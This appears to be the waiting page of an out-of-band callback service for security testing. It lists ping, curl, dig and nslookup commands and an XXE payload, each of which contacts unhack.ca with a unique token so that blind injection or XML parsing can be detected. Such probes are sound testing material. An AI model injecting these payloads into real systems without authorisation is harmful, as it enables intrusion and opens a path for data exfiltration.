$ ping -c1 -p 00dac794b36806e22adf2b3a169f6000 unhack.ca
 
$ curl http://unhack.ca/p/dac794b36806e22adf2b3a169f60
 
$ dig dac794b36806e22adf2b3a169f60 @unhack.ca
 
$ dig dac794b36806e22adf2b3a169f60.ns.unhack.ca
 
C:\> nslookup dac794b36806e22adf2b3a169f60 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/dac794b36806e22adf2b3a169f60">]>
    <foo>&xxe;</foo>
 
Waiting for ping...